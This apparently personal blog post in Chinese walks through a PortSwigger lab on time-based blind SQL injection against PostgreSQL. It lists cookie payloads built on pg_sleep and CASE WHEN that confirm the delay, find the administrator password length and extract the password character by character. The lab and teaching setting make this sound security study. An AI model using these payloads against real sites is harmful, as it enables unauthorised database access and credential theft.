Burp学院-基于时间盲注的练习

#Burp学院-基于时间盲注的练习

转载请注明出处:https://youngrichog.github.io/**

描述

由于最近准备换工作,就开始温习应用安全相关的知识,看看能否从以前的知识里面温习到一些新的想法,虽然以前的东西很基础,但难免也会忘记掉,在找找以前的感觉。

实验地址

https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

目标:获取administrator的密码,并且成功登录后台

流程

进行延时,方式方法还是蛮多的,随便写了几个

1
2
3
4
5
6
7
8
1.
Cookie: TrackingId=x'||pg_sleep(10)--;

2.
Cookie: TrackingId=x' and 1=(select 1 from pg_sleep(10))--;

3.
Cookie: TrackingId=x'%3bselect pg_sleep(10)--;

判断administrator的密码长度,最终长度为20

1
2
3
4
5
Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and length(password)>10)) THEN pg_sleep(10) ELSE pg_sleep(0) END --';

Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and length(password)>15)) THEN pg_sleep(10) ELSE pg_sleep(0) END --';

Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and length(password)=20)) THEN pg_sleep(10) ELSE pg_sleep(0) END --';

批量跑一下$a\$,截取字符串,最终获取到密码

1
2
3
4
5
6
7
Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and substring(password,1,1)='$a$')) THEN pg_sleep(10) ELSE pg_sleep(0) END --'

Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and substring(password,2,1)='$a$')) THEN pg_sleep(10) ELSE pg_sleep(0) END --'

Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and substring(password,3,1)='$a$')) THEN pg_sleep(10) ELSE pg_sleep(0) END --'

······

思考

1.在做这个实验的时候,纠结到了一个点,为什么下面的语法是不能执行的

1
Cookie: TrackingId=x' and pg_sleep(10)--;

后面发现是由于PostgreSQL语法 and后面必须为布尔类型,后面直接改为

1
Cookie: TrackingId=x' and 123=(select 123 from pg_sleep(10))--;

2.PostgreSQL || 的作用为连接符,如果以其他数据库来看,||的作用是逻辑运算符。所以该语句是正确执行的

1
Cookie: TrackingId=x'||pg_sleep(10)--;

例子:select ‘123’ || 3+1,输出为1234,前面只要不为null,返回就不会是null;

最后

温故而知新确实不错,推荐一个在线SQL语句执行的地方

https://sqliteonline.com/